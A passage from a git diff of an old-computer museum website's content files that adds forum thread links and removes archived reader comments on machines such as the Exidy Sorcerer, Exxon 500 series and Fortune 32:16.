my now-husband also bought a used one in order to be able to work on projects at either his home or mine. All used ValDocs, and they certainly got the job done. I kept them for many years after they no longer were in use, but eventually did end up taking two of them to recycling, since even the offer to donate to an organization like this one was rebuffed and the basement only is so big. $) I still do have one, as well as the ValDocs disks AND the giant binder of support info. I would love to find someone in the market for all of it before it, too, ends up meeting a sad end. Good memories of the beginnings of my ongoing love/hate relationship with PCs! - - author: Tom Anderson (USA) - date: Saturday 18th September 2010 - text: |- - When this machine came out, I worked at a large, mostly Apple dealer in LA. We thought this would be our star attraction, and set it up in the middle of the showroom! Imagine, integrated applications!'' - - This thing was the biggest bomb and the worst experience in my computer career. I sold only five of them. All people did all day long is call me and complain. Our poor Epson rep knew me well, and the Valdocs support line people all new me. It was all software issues, the hardware seemed ok. But it just wouldn''t work! Everything from not printing correctly, to not justifying, to not saving, and a million other things I forced myself to forget. There was a writer from the LA Herald who bought one, what a horses a$$. I don''t blame him for being mad, but he kept threatening to write a column and mention my name! What a d!ck. I even offered to give him his money back, but no, he wanted the machine to work HIS way! I finally, honestly told him to F-off. It was proably the only computer store in the world I could get away with that. (The owner was awesome.) Another woman I sold one to was a nut and didn''t mind that it didn''t work, she wanted to start a users group and wanted me to stay after work and run it with her. No thanks. - - I simply stopped selling it. The next place I worked was all IBM and HP, and I never looked back. - - author: Paul (Australia) - date: Saturday 31st July 2010 - text: |- - We got our QX-10 around 1982. I remember being soooo excited about it. Like the UK model ours had the multi font card installed as standard and came with MF-Basic. - - We never had valdocs. We had some locally written business software as well as visicalc (pre lotus 123) and my favourite....QXTEXT. - - QXTEXT was a wordprocessor that provided the early concept of a WYSIWYG page. The software would load and prompt you to turn the monitor on its side (yes physically pick up the mono green screen - which fortunately was quite light - and sit it on its side). - - From there the sfotware ran completely in graphics mode, and you had your page laid out in front of you and there were function key asignments to change margins etc. you could $ fonts with the special font keys and well..it really worked so neatly. - - When we retired our QX-10, I had it carefully packed and stored, but sadly it got stolen from there a few years back, and without software I''ll bet it ended up being trashed - noone would have known what to do with it. Have to keep my eye out for another one. - - author: Tim (England, United Kingdom) - date: Wednesday 24th March 2010 - text: Interesting that the main selling point of these machines in the US was the hardware integration with the Valdocs software. In the UK, the QX-10 was not supplied with Valdocs. Instead, we had the MultiFont card installed as standard (I believe this was an optional extra in the US), and we got MF-BASIC (Multifont Basic) programming language on disk, and a CP/M disk for running CP/M software. - - author: David Ranch (Santa Clara, CA) - date: Friday 15th August 2008 - text: When I think of my old QX10, I think of the 1000s of hours spent on the graphics app, Qplotter, which allowed for some great BASIC centric graphics for the time. I also think about the QX10s ultra distinctive sounding slimline floppy drives (I would love a sound clip of a QX10 booting up when those drives were seeking to track 0. Btw , those damn drives were impossible to re-align due to the way they were constructed. Oh yeah, and the ZMP terminal program using the ultra new Zmodem protocol for enjoying the BBS days at 1200 baud. Ahhh.. good times. - - author: Earl (Portland, OR) - date: Sunday 1st June 2003 - text: |- - I worked with Epson technical support during the years when these machines were sold. As the summary page states, it was amazing what the software was able to do with a 4 MHz Z80! The "Valdocs" software suite was totally custom-written, and had a bug or two (what doesn't), but really was a marvel for that day and age. The software had WYSIWYG formatting, long filename support (via an 8.3 to extended filename indexing system), and performed at a reasonable speed. What's more, the machine could run standard CP/M software. I frequently used WordStar, Turbo Pascal, and dBase II (all CP/M versions) on the QX-10. - - The hardware was interesting as well. The crisp hi-res green screen, low-profile CPU unit with 1/3 height (!) drives, and custom keyboard made for a very intriguing system. The keyboard was unique - it was made to work in concert with the software, with special keys for font manipulation and other special features. No more Shift-Control-Alt-F7! All-in-all, the QX-10 was quite a system. - - Be sure to check out the HX-20 and PX-8 pages as well! oc_id: 200 source: url: https://web.archive.org/web/20230608091606/http://www.old-computers.com/museum/computer.asp?c=200 diff --git a/content/museum/exelvision-exeltel.md b/content/museum/exelvision-exeltel.md index fee22169..8f9b9f83 100644 --- a/content/museum/exelvision-exeltel.md +++ b/content/museum/exelvision-exeltel.md @@ -71,6 +71,7 @@ params: - hardware - software - links + forum_thread: 515 photos: - title: EXELTEL subtitle: '' @@ -281,13 +282,6 @@ params: - title: www.exelvision.fr url: http://www.exelvision.fr text: Awesome website dedicated to Exelvision. All you needed to know is here (french) - comments: - - author: Hot Trout - date: Tuesday 28th September 2010 - text: These roms are available at www.theoldcomputer.com/roms - - author: Chuso (Spain) - date: Thursday 18th March 2004 - text: I'm looking for Exelvision's software related: - /museum/exelvision-exl-100 oc_id: 521 diff --git a/content/museum/exelvision-exl-100.md b/content/museum/exelvision-exl-100.md index c5750138..0d7bdcdd 100644 --- a/content/museum/exelvision-exl-100.md +++ b/content/museum/exelvision-exl-100.md @@ -70,6 +70,7 @@ params: - hardware - software - links + forum_thread: 136 photos: - title: ARABIAN MODEL subtitle: '' @@ -375,37 +376,6 @@ params: - title: www.exelvision.fr url: http://www.exelvision.fr text: Awesome website dedicated to Exelvision. All you needed to know is here (french) - comments: - - author: toor (France) - date: Friday 11th June 2004 - text: |- - Hello, - - I seeks hopelessly a diskette of boot (EXELDOS) for my EXL135 Exelvision. - - If you can helping me, please contact me. - - I thank you. - - author: Franz (Courbevoie (Paris - La Défense) - France) - date: Tuesday 22nd October 2002 - text: |- - The EXL100 was my first computer and I really love it. I learnt BASIC on it before switching to Pascal and assembler language on a PC1512 computer. I was 11 years old when I bought this computer in 1985. - - It is true that at this time, the computer was lacking a lot of sotware and especially some games. I still have the first game I programmed in Basic on a magnetic tape. It was named "Le château du professeur Megabus" (The castle of professor Megabus in english). It was a text adventure game I designed after a friend of mine told me about the "DIM" basic instruction :-). - - I had a pro keyboard. But the infra-red link did not work very well if the EXL100 casing had been removed for repair (this happened to me after an electronic component burnt into the computer). I had to positionate the keyboard very precisely for a correct use. I have put some pins onto a wood frame so that the keyboard always had the same location on my desk ! - - The EXELBASIC was very neat. It had a powerful instruction set but the editor was not so great. At this time, my dream was to have the EXELASSEMBLER cartridge but it was very expensive. - - I remember having a lot of trouble with the tape recorder I used with. Some tapes did not work properly and I always got an error message (ERROR 255 i think...). The first game I bought was ATI 42 on a tape and NEURONES. I had a lot of troubles with NEURONES because of this famous "loading" error. - - Games such as "Tennis" and "Wizord" were really great. I never used the game pads but the keyboard instead. Game pads had a numerical keyboard that could be used with the keyboard. - - I also had "IMAGIX" for graphical creations. But it was necesary to have the 16K non volatile Memory Extension to import the graphics into a BASIC program. - - Your pages are really great. It remembers me a lot of things to me. Sniff !! - - Franz related: - /museum/exelvision-exeltel oc_id: 123 diff --git a/content/museum/exidy-sorcerer.md b/content/museum/exidy-sorcerer.md index d269faab..fed067b8 100644 --- a/content/museum/exidy-sorcerer.md +++ b/content/museum/exidy-sorcerer.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 224 photos: - title: EXIDY SORCERER subtitle: '' @@ -222,85 +223,6 @@ params:  type of document : PDF\  size : 984 KB\  source : www.old-computers.com - comments: - - author: Peter Jones (United Kingdom) - date: Friday 17th February 2023 - text: 'Correction to the size of the rompacs. 8k not 16k.The CPU could only address 64k: 0-48k for RAM, 49-56 for rompacs, 57-64 for the OS.' - - author: Jeef - date: Saturday 25th April 2020 - text: Hello Stephany, did the Sorcerer find a good home? - - author: stephany (Tennessee US) - date: Sunday 5th August 2018 - text: |- - I''ve my Dad''s Exidy Sorcerer in a hall closet for years and it''s now time to get rid of it. I have no idea if it still boots up. But it does have the original manual. He upgraded the system to have the 8-track-ish tape thing for storage.\ - Anyone who is willing to pay the shipping CAN HAVE THIS FOR FREE. It is heavy. - - author: PAOK - date: Wednesday 20th June 2018 - text: |- - Bolches yarboclos, Batman!!! - - I''d like an Exidy Sorcerer for Xmas. - - author: Binaryben - date: Monday 5th February 2018 - text: I have one of these in my loft. Back in 1981 I wrote my own COS (cassette operating system) using Hitachi tape deck which had electrical controls and a opto to check for tape stop. Using this deck I could write a directory at the start of tape, and then automatically access multiple programs off a C90 cassette by letting the Sorcerer control the tape movements and get position count from opto! - - author: rod (canada) - date: Tuesday 30th January 2018 - text: |- - I knew that Exidy published and developed a lot of games for various home computers and video game consoles. But I had no idea that they also made a line of computers as well. - - Very interesting read... - - author: Tibsi (Gyula, Hungary) - date: Tuesday 31st October 2017 - text: I''m searching for a working piece of Exidy Sorcerer. - - author: Scott Adams (United States) - date: Wednesday 3rd June 2015 - text: My company Adventure International did support this system with a number of my games. It was a decent machine I really liked it. - - author: Scott Adams (United States) - date: Wednesday 3rd June 2015 - text: My company Adventure International did support this system with a number of my games. It was a decent machine I really liked it. - - author: Miles (New york) - date: Monday 11th May 2015 - text: |- - I have two new exidy computers in original boxes.\ - Would you like to buy them? Email me at exidy@nym.hush.com\ - now before they sell out. - - author: Miles (New York) - date: Monday 11th May 2015 - text: I have two new exidy sorcerer computers in the original boxes. Who would like to buy them? - - author: Tyler (us) - date: Friday 17th October 2014 - text: I have a sorcerer complete in box working in good condition with original literature few cassette tapes a cartridge standard basic I think it is and a external cassette player I''m looking to sell this contact me via email a9163161094 at Gmail for pictures info and offErs - - author: Rob (Australia) - date: Friday 27th June 2014 - text: I am interested Paul, if it still boots, I am not sure if the internal battery would be good to replace if it doesn''t. Wait to hear from you, Only needs to boot to Rom, as I only ever programmed them in hex. Regards Rob - - author: Paul Hynek (Canada) - date: Monday 23rd June 2014 - text: I have a Sorcerer with the original box. Cleaning house. anyone want to make me an offer? - - author: Andy Holyer (UK) - date: Sunday 1st May 2011 - text: |- - We had a Sorcerer as the only computer at my school (in about 1980). - - Not a very good machine. Tended to freeze, and we put a sticker on the top of the case saying "hit here to unfreeze". - - The wierdest thing was the "bounce-free" keyboard. To prevent bouncing, the key registered on the up-stroke of the key rather than the down-stroke. That is, you pressed a key, nothing happened. Released the key, and the character was entered. - - \*Not\* a good idea. - - author: James Perrett (Melbourne) - date: Monday 17th January 2011 - text: I remember it being the first Micro Computer in Austrailia with the top 128 Characters being programable. My Homebrew was a cross between a Trs-80/System 80 and Sorcerer. With a monitor program writen by myself and a friend and Basic copied/mod-ed from TRS-80 Remember the wiz. - - author: Brian C (Vermont, USA) - date: Tuesday 12th December 2006 - text: The sorcerer II was my first non-mainframe computer. It totally used 8-track carts for the ROM packs. I don't remember it being terribly colorful, but that's probably because we had a mono monitor. I totally remember programming like mad in basic, and playing some of the games.. - - author: Paolo Colombo (Australia) - date: Tuesday 20th December 2005 - text: Is the Sorcerer really dead? I have kept my 4th Sorcerer packaged up for a number of years, and one of these days I shall start it up. It has a S100 Box, 2 Micropolis 16 hard sector drives 360Kb, 64K of memory and a modified 80x32 columns screen. It was the mightiest machine of the time before the arrival of the first XT, and besides the floppies being totally unreliable by Verbatim, my wife used to do thesis typing with an Olivetti daisywheel typewriter with the interface designed and built by me. his offered excelllent pages, miles better that the 8 dot dotmatrix printers of the time without lower case descendants. The lot cost me a fortune by todays standards, but thats all that was available. - - author: Steve Shepherd (Herts, UK) - date: Thursday 27th January 2005 - text: I have a Sorcerer II but don't ever remember it having any colour capabilities, only the ability to define your own mono graphics characters. I also have the Video/Disk Unit. - - author: Duncan Layne (UK) - date: Wednesday 5th January 2005 - text: They bought one of these at work (British Aerospace) back in 1980. I am sure that the ROM packs (seen on the right of the machine) were built into empty 8 track tape cartridges ! Was a colour version (or add on) available. I am sure that the reason work bought this was for its colour graphics (they already had a PET and Nascom which were both monochrome). I remember someone being sent out to buy a portable colour TV (costing £250, about the same as my monthly wage) to use with the Exidy. The arrival of this generated just as much interest as the arrival of the computer ! software: - /software/chomp - /software/galaxians diff --git a/content/museum/extensis-ex3000.md b/content/museum/extensis-ex3000.md index 84132048..ffb3b173 100644 --- a/content/museum/extensis-ex3000.md +++ b/content/museum/extensis-ex3000.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - links + forum_thread: 64 links: - title: More information about the Extensis 3000 url: http://www.tomshardware.com/2007/02/23/weird_and_wonderful_pcs_and_pc_mods/page5.html diff --git a/content/museum/exxon-500-series.md b/content/museum/exxon-500-series.md index f9ca3beb..2f3bb1f2 100644 --- a/content/museum/exxon-500-series.md +++ b/content/museum/exxon-500-series.md @@ -64,41 +64,7 @@ params: value: Built-in power supply unit - label: PRICE value: $9200 (510 version) - comments: - - author: Dave (Pennsylvania. US) - date: Sunday 17th June 2018 - text: I have the Exxon QYX machines in my storeroom, no manual with them, they r up for sale. If any one has interest email me. June 2018 - - author: Stephen D. McKenna (United States) - date: Saturday 16th June 2018 - text: My father was Exxon Corporate (law Dept). I can recall him telling me, at the time, about the guy who invented the qwip (first real fax, before police departments had a clunky machine that transferred mug shots). He lived in the same building as my father as I recall and invented it there. He was an Exxon engineer, I recall. I cannot track down on the internet but, Exxon acquired Emerson Electric based on some professor demonstrating an electric motor that promised incredible efficiencies. After announcement those knowledgeable said the guy was well known and it had been repeatedly proven that the technology would not scale. Exxon sheepishly spun it off a few years later at a loss. That would have been after Exxon Office Products. - - author: David gallaher - date: Saturday 24th December 2016 - text: I too have an 50 or 510 system. These are likely the last 2 in existence. I have received offers from collectors but I would rather see this unit in a museum. - - author: Terry Tellone (USA) - date: Wednesday 26th August 2015 - text: I worked for Exxon Office Systems as the Branch Operations Manager in Chicago. I remember my staff dressing up as the Exxon 500 components for our annual Halloween party. EOS tried to market the 500 as a PC, but by then, the "real" PC had hit the market and made this "computer" instantly extinct. EOS also sold the first fax machine, Qwip Systems (my original employer), Vydec (the giant text editor that had a built-in desk - weighed a few hundred pounds!), and the Qyx Memory typewriter (which could retain about two sentences in its memory). I was the last person to leave the Chicago branch offices, after terminating the entire staff of over 100 employees, boxing up all the files and shipping them to Exxon corporate, and selling all of the furniture and artwork. I locked the door behind me and cried all the way home. We lost about 150 million dollars for Exxon, and they never did anything to stop it. One day, we received a fax saying the party was over. It was a great company, great - people, but not the greatest products or business model. - - author: KevinH (New Jersey/USA) - date: Wednesday 9th October 2013 - text: |- - I started at Vydec in November 1978$ by that time Zilog was already a division of Exxon Information Systems, as was Vydec. Vydec was eventually renamed (or "evolved into") Exxon Office Systems, which produced the systems you are displaying. - - The core hardware and software for the Exxon 500 series was purchased from a company called "Compucorp". To the best of my recollection, the hardware was retained essentially unchanged but repackaged, and the software was more substantially rewritten. (The system could boot CP/M but the primary OS Exxon sold it with was proprietary to Compucorp.) - - However, prior to the 500 series release, Vydec produced and sold a series of digital hardware-based "text editors" from roughly 1976 until about the 1982 release of the first 500. These "text editors" were the 1137(?), 1146(?), 1200, 1400, and 1800. - - The base version of all of the Vydec "text editors" except the 1800 had NO microprocessor$ all of the input, display, editing, and printing features were implemented in (mostly) 7400-series digital logic. - - Added features for some of the "text editors" involved additional hardware which used the Intel 8008(!) microprocessor and later, the Zilog Z80. - - I believe that the Vydec 1800 was the only one of the series that actually required the additional hardware containing the Z80, being the last of the series. - - Photos and info. about the "Vydec 1800" can be found in various places on the web. - - $$-Kevin H. - - author: Richard (UK) - date: Tuesday 2nd November 2010 - text: I still have an Exxon, one of the 500 series. It has been in my loft for about 20 years and was working when I put it there. Recently I have brought it down. Does it have any value? + forum_thread: 604 oc_id: 617 source: url: https://web.archive.org/web/20230608081756/http://www.old-computers.com/museum/computer.asp?c=617 diff --git a/content/museum/fairchild-channel-f.md b/content/museum/fairchild-channel-f.md index 485eff19..67159f38 100644 --- a/content/museum/fairchild-channel-f.md +++ b/content/museum/fairchild-channel-f.md @@ -59,6 +59,7 @@ params: - links - docs - videos + forum_thread: 870 photos: - title: CONTROL PANEL subtitle: '' @@ -169,33 +170,6 @@ params: - title: Jerry Lawson interview, part 2 url: http://video.google.com/googleplayer.swf?docId=4639425208915226542&hl=fr text: 'Length: 15 min 28 s' - comments: - - author: Christian (Uk) - date: Monday 13rd May 2019 - text: I visited a friend most hollidays who had this system...some of the games were good fun. In the uk i''m sure it was manufactured by ''Grandstand'' . My friend upgraded to a acorn electron............. - - author: Francesco (Italia) - date: Friday 26th April 2013 - text: |- - Hi. I see this consolle today in a bazar. there was with 6 or 7 videocart. If it''s still work how much his value?\ - And if I''ll decide to sell it there is a market for this console? - - author: Domido - date: Tuesday 10th July 2012 - text: The system II was also sold in Europe under the name Saba Videoplay - - author: crystal (United States) - date: Sunday 16th October 2011 - text: where can i get the original first fairchild channel f....and how much is it - - author: Wenlock (Australia) - date: Sunday 12th June 2011 - text: A PAL version of this system was sold in Australia as Dick Smith Channel F by Dick Smith Electronics. - - author: Micke (Sweden) - date: Tuesday 20th March 2007 - text: Well, I have one that still works. I´ve just played Drag Strip VideoCart -9. I did the strip on 7.4 sec. Bet that if can! And sorry, my baby is not for sale. //Micke - - author: Pablo (Mexico) - date: Monday 5th March 2007 - text: I want one of these, how much and where ti but? - - author: Bill Flournoy (Tempe) - date: Sunday 1st May 2005 - text: I used to play this as a child. The blackjack was good. software: - /software/alien-invasion - /software/backgammon-acey-deucy diff --git a/content/museum/feedback-abacus-educational-computer.md b/content/museum/feedback-abacus-educational-computer.md index 08f93e96..8a8aaea5 100644 --- a/content/museum/feedback-abacus-educational-computer.md +++ b/content/museum/feedback-abacus-educational-computer.md @@ -56,6 +56,7 @@ params: value: £1800. tabs: - photos + forum_thread: 802 photos: - title: SYSTEM subtitle: '' @@ -137,41 +138,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/feedback_372-362_keyboards_1.jpg - comments: - - author: Paul (ISRAEL ) - date: Saturday 10th September 2022 - text: I learned logic and computer basics on an Abacus unit in ISRAEL in 1973. It used serial ALU and logic. It was AMAZING. - - author: Johannes Schacht (Deutschland) - date: Tuesday 29th December 2020 - text: Would anyone have technical information on the computer? - - author: William.winnt.net (Soule/southKorea) - date: Sunday 10th June 2018 - text: |- - Company. BLUEFIN.NETWORK.COM (founder/author)\ - MICROSOFT TRUE OWNERSHIP,WILLIAM.WINN.TAYLOR.COMPANY\ - GOGGLE, YAHOO! , CHROME - - author: Charles Razzell - date: Wednesday 16th November 2011 - text: |- - My secondary school classroom (in Crowborough, E. Sussex) had an Arithmetic Unit from the ABACUS Educational Computer that was kindly donated to the school by Feedback. This was in 1971 and the school was Crowborough Beacon Comprehensive. - - I had a lot of fun playing with the machine, either single stepping though binary arithmetic or playing a game of "yellow lights vs. white lights," where the objective was to take turns doing a computation that would increase the number of your chosen color at the expense of the opponent''s color. - - I like to tell my children that I''m so old, my first computer was an ABACUS! - - author: jon - date: Sunday 19th September 2010 - text: What is an abacus and how is it related to the computer? - - author: Martin MacLeavy (Kingston Jamaica) - date: Friday 6th February 2004 - text: |- - There was a version of the ABACUS at the C&W Engineering College, Porthcurno, Cornwall on which I cut my teeth in the programming field. I am interested in getting a circuit diagram for it if its available. - - Regards - - author: Brian Townsend (Near Chelmsford, England, UK) - date: Thursday 4th September 2003 - text: |- - I contributed this system to old-computers after rescuing it from possible destruction. I was actually responsible for its purchase for the college in which I worked and I taught computer programming principles to a large number of students using the system.\ - If you were one of my students and want to recall those early days (in the 70's) when computing was in its infancy, then leave a message for me. oc_id: 821 source: url: https://web.archive.org/web/20230607054056/http://www.old-computers.com/museum/computer.asp?c=821 diff --git a/content/museum/fortune-32-16.md b/content/museum/fortune-32-16.md index f86733bf..51811a79 100644 --- a/content/museum/fortune-32-16.md +++ b/content/museum/fortune-32-16.md @@ -62,119 +62,12 @@ params: value: from $5000 to about $15000 according to hardware configuration tabs: - adverts + forum_thread: 748 adverts: - title: UK ADVERT, OCT. 1983 subtitle: '' text: '' image: /media/museum/pubs/fortune_3216_pub_s1.jpg - comments: - - author: Lance Norskog (USA) - date: Friday 13rd May 2022 - text: I did the boot ROM and some kernel bits, 1982 to 1984. We shipped a pretty computer, and then 1.5 years later shipped a computer that actually worked. My first corporate job, and certainly a lot of fun. - - author: Oscar Hasten (United States) - date: Friday 24th September 2021 - text: We at the Byte Shop Seattle got a unit to evaluate. Right away I thought it was a fine machine but not something that would fit into our direction selling more consumer machines than anything else. We were an Alpha Micro and Northstar dealer and rarely sold either of them. - - author: Mike Friese - date: Tuesday 13rd April 2021 - text: I worked for Western Digital (WD), the company that supplied the disk controller for the on the Fortune 32:16. I designed the parallel section and firmware for the hard disk controller. Fortune’s controller was based on the WD’s WD1001 ECC disc controller that was intended for Seagate ST506 drives. It was based on five 20-pin WD-designed gate arrays and the Signetics 8X305 processor. The 8X305 was a special beast. It could execute instructions 3x faster than the Fortune 32:16’s native 68000 processor. But the 8X305 only had EIGHT instructions. Its speed allowed me to read 5Mbits/sec parallelized data off the disc and make real time decisions on that data. It also allowed me to implement the WD1001’s eight virtual host-facing registers in software. Since the Fortune 32:16 was all about performance, the disk controller needed to implement DMA. DMA controllers of the era typically handled only 8 bit data and 16 bit addressing. The 32:16 bus had 16 bit data and 24 bit addressing. - I came up with a DMA solution that required no LSI devices nor counters. I had the 8X305 run the 24 bit counters and 8-to-16 bit bus conversion in software. The 8X300 would send addresses and data to simple, cheap octal latches. The Fortune engineers did not like this software solution because they perceived it as slow. Yet, in their own DMA specification, they required devices to not hog bus bandwidth. I demonstrated that the 8×305 software solution met both Fortune’s performance and non-bus hogging goals. The software loop required to update 16 bits of data, update the least significant byte of the address, maintain a word counter, initiate the DMA state machine, and wait for completion was only 8 8X305 instructions or 2 microseconds (us). The required 256 16-bit word DMA transfer could happen in just 512 uS. The sector time of the disk drive was about 1000 us. So my software DMA could deliver data to/from memory at full disc speed. (DMA transfers that crossed 8 bit and 16 bit - boundaries took 2.75 us and 3.25 us, respectively.) - - author: Tony Piacente (United States) - date: Friday 22nd June 2018 - text: I worked for Fortune Systems Corp. in the early 80''s as a Systems Engineer, afterwards becoming their largest distributor and reseller in the U.S. as UniSoft, Inc. and later UniConcepts Corp. in the Denver, CO area. What a fun ride that was! I can still troubleshoot any of the hardware or For:Pro (Unix) issues to this day. What made our company so valuable was our expertise with BAS software. Please feel free to reach out on this topic vtonyp77@yahoho.com - - author: Hoth (San Jose, Ca, USA) - date: Sunday 8th February 2015 - text: Wow, what a blast from the past. My father, "the heavy accented Hungarian", worked at Fortune as a Director or Manager when I was in high school in the mid 80''s. We had a computer which I typed many school essays, played Rogue and Star Trek on the UNIX platform. Learned a lot and my neighbor had an Atatri 400 where I learned BASIC. My father worked many long hours, frequently coming home past 8:00$ he was very upset when it folded and alluded that someone high up stole funds and drove it into the ground. Wild coming across this site. - - author: John Powell (Usa) - date: Monday 19th November 2012 - text: I worked at Fortune in the early ''80s. it was a wild place to work, very challenging. I was in the board test department and thought it would always be about the hardware and didn''t pay much attention to the software. I guess that''s why I''m still working for a living! - - author: Trish Millines (USA) - date: Tuesday 17th August 2010 - text: I worked for Fortune Systems from 1983 to 1985. Worked in the testing group. The machine was certainly ahead of its time. - - author: Kim (USA) - date: Friday 6th August 2010 - text: I was a contractor for Fortune Systems, translating error messages, usage messages, man pages, and the newest trend, menus, into German. They let me have one to use, so that''s how I learned Unix, setting up and administering a desktop server and learning what not to do by means of the thousands of error messages I translated. That was one cool machine. - - author: Chris May (US) - date: Thursday 10th February 2011 - text: |- - My forward-looking parents bought a Fortune 32:!6 in 1983 to run their small business. I was 18 years old and became their system manager, and also did some custom programming for them in Informix and Business BASIC. We also got good use out of For:Word, which was really advanced WP software for its time. I put together a pretty good little system for them that they used for years. - - I think one of the scheduling programs I wrote in BASIC was in use until about 1994, when we could no longer get service and finally had to replace it with a custom 4D app running on a Mac. - - I recall buying a 20MB hard disk for about $5,000, and an extra dumb terminal for something like $2000. The whole shebang cost over $15,000, which was serious coin in those days. But we got our money''s worth out of it, and I learned C and Unix along with Informix. Very useful skills at the time, and I am still benefitting from my Unix command line knowledge on my luscious new MacBook. - - I still have the computer and a bunch of accessories and software. It hasn''t been started in at least 15 years. - - author: Lars Brandewie (USA) - date: Sunday 22nd November 2020 - text: A hundred years ago I did some test coding on one of these things. A guy had asked me to analyze whether it was fast enough to operate a congressional office system with. I was able to determine that it was by writing code in C. The machine was well ahead of its time, no question. - - author: Martin How (United Kingdom) - date: Tuesday 5th February 2019 - text: |- - I bought one of these in 1983/4 to replace an IBM 5110. It was my first UNIX experience. I learned to program in C using Informix and the C integration library to batch process and add event code it Perfrom forms. We had a 40Mb disk and an extra SCSI disk and expansion cabinet with a serial port expander for 8 people. PSUs were a bit flakey with the caps blowing up, but we quickly learned to pull the plug at the first sound of fizzing on start up. - - We replaced it in 1989 with an Acer Altos running SCO System. Mostly the business runs MS but we still run some UNIX today. - - For fun i now programme and build hardware for the raspberry Pi still using to old skills gained on the Fortune 32:16 - - author: Tom Brown (Denver, CO) - date: Tuesday 23rd January 2018 - text: I went to a "computer" show in Atlanta in the early 80s and was looking to buy something to help with word processing and accounting in a small tour business. An IBM Selectric typewriter was the hot ticket then. I was about to buy a Vector Graphics C/PM system when I saw the Fortune 32:26 and thought it was awesome. I didn''t even know the difference between hardware and software! We bought a 32:16 (later adding two more terminals) and used it for many years. We also got a relational database package called Rubix, and it was great! I learned Unix and Shell script programming and eventually built quite an extensive reservations and accounting system. This was about the time the Apple IIc came out and I thought that was useless junk. What did I know? - - author: Tom Brown (Denver, CO) - date: Tuesday 23rd January 2018 - text: Greg, are you offering to sell your system? If so, how much? I''d love to pound the keys on a 32:26 again. - - author: Steve (United States) - date: Monday 24th April 2017 - text: |- - This was the first Unix system I ever worked with. I found it in a lab at my University and started teaching myself Unix. - - The school saw what I was doing on my own time and hired me as a system administrator for their new Sun-2 as a freshman. - - My how time has flown. Most people have forgotten all about the Fortune if they ever knew about it at all. - - author: Rick (Washington DC) - date: Tuesday 21st June 2016 - text: I worked for a Fortune reseller in Alexandria, VA installing and servicing 32:16''s all over the DC/VA/MD area in 1985-86. I loved these computers! Very reliable and perfect for small-medium businesses. I had never touched a UNIX OS and learned it on these machines. Wish I had the chance to work on one of them again for old times sake. - - author: James Bertsch (United States) - date: Sunday 10th April 2016 - text: |- - I was a software developer for a fledgling Value Added Reseller of Fortune Computers. I taught myself Unix and C. I wrote applications, which read EDI Orders sent over a modem from GM, Ford and Chrysler to suppliers.\ - The documents, were then printed for the suppliers so they could fill the orders. - - author: Oscar (San Diego, CA) - date: Tuesday 13rd March 2012 - text: I was sales manager for the Byte Shop NorthWest in the early 80''s and we were selling Apple, Atari and IBM mostly at the time. We checked out a Fortune 32:16 to decide whether to add it to our mix but decided against it. - - author: Chuck (USA) - date: Thursday 13rd October 2011 - text: |- - I believe that Fortune set up manufacturing in an old Pepsi bottling plant in San Carlos or Redwood City. - - The software people in Fortune had an almost incestuous relationship with the people at Sun. Certainly Bill Joy had a definite presence at both places. - - I did some contract programming for them around 1981 or so$ I still have the prototype of one of their terminals. - - author: Allen Grabert - date: Friday 10th June 2011 - text: I was a year out of college in 1983 when I began working for Bunker Ramo, providing support on a project they had at the time to create a banking software system based on the Fortune 32:16 and a proprietary LAN. They also wanted to be a general reseller of the machine, so one of my ongoing support tasks was to modify Fortune''s software products to change any references to Fortune to equivalent references to Bunker Ramo. Because this was time-consuming, my boss let me take one of these machines home$ while the conversion script was running in the background, I was playing "rogue"! However, just over a year after I started, Bunker Ramo apparently decided that they didn''t want to be a reseller, so I was moved into one of their programming groups. - - author: Robert Oppenheim (Texas, USA) - date: Saturday 4th September 2010 - text: Back in the early 1980''s I worked for a small agency whose owner had some big ideas that her Apple II couldn''t handle. She sent me to shop for "the computer that will take us into the future". Needless to say, the emerging office PC market (hardware and software) had limited choices back then. But when I saw and tested the Fortune 32:16, I knew this was what we needed. It came with Informix and Fortune:Word and Multiplan as well as an accounting package. The real dilemma at the time was whether to get the 10 or the 20 MB hard drive. We got the 20 and wondered how we would ever fill it up. Everything I learned about Unix and RDBMS, I learned first on this machine. Seeing these photos and reading others'' similar sentiments makes me remember fondly about the good old days when today''s madness all got started. - - author: Eric Hammond (USA) - date: Tuesday 18th August 2009 - text: I learned Unix in 1985 on a Fortune 32:16 as a contractor to Proctor and Gamble, Cincinnati, Ohio. I had been hired to administer and program it as a summer job. I picked up the manual and read it cover to cover, twice. It turns out that the "manual" was a hardcopy of all of the manpages in alphabetical order by command name, so the first time through I was missing some concepts that made more sense the second time through. If I recall correctly, the documentation came in the form of two 3-ring binders. - - author: Chris Elliott (Leicester, UK) - date: Sunday 23rd March 2008 - text: |- - 30 meg HD, 3/4 meg RAM - 8 users! - - Informix Database, Fortune:Word & Spreadsheet - - Marvellous. - - Also the most honest manual entry I've ever seen. - - Error XYZ - "If you get this, the main eprom has shuffelled off this mortal coil" - - author: Karen (USA) - date: Saturday 8th December 2007 - text: Good old Fortune. Their systems were quite the thing back in my day of selling multiuser systems. One thing about the Fortunes (at least our experience), was that they never, never went down. One solid reliable system. I still have one that I haven't touched in years. My guess is that if I dusted the old thing off and plugged it in, it would fire up. - - author: Greg Mote (Los Angeles, CA, USA) - date: Sunday 19th June 2005 - text: I have a 32:16 with a bad power supply. It has been in my dad's garage for years. Anyone interested in it? oc_id: 767 source: url: https://web.archive.org/web/20230531225206/http://www.old-computers.com/museum/computer.asp?c=767 diff --git a/content/museum/fox-640.md b/content/museum/fox-640.md index 37b132bd..1b6415c5 100644 --- a/content/museum/fox-640.md +++ b/content/museum/fox-640.md @@ -38,6 +38,7 @@ params: value: 2 x External 5.25'' Single Sided Drives (143k) tabs: - photos + forum_thread: 452 photos: - title: INSIDE subtitle: '' @@ -50,13 +51,6 @@ params: subtitle: '' text: '[The as-yet unnamed compute museum](http://pcmuseum.i-o.net.au/)' image: /media/museum/photos/fox_640_keyboard.jpg - comments: - - author: Jeremy Barr-Hyde (Australia) - date: Tuesday 16th July 2019 - text: |- - Documentation such as manuals and schematics are now available at my blog here: https://jbretro.wordpress.com/2018/09/01/fox-640-computer/ - - I purchased a complete Fox 640 computer from local seller (Canberra, ACT) who kept all the original documentation, which was scanned and shared above. oc_id: 457 source: url: https://web.archive.org/web/20230202154610/http://www.old-computers.com/museum/computer.asp?c=457 diff --git a/content/museum/frael-bruc-100.md b/content/museum/frael-bruc-100.md index 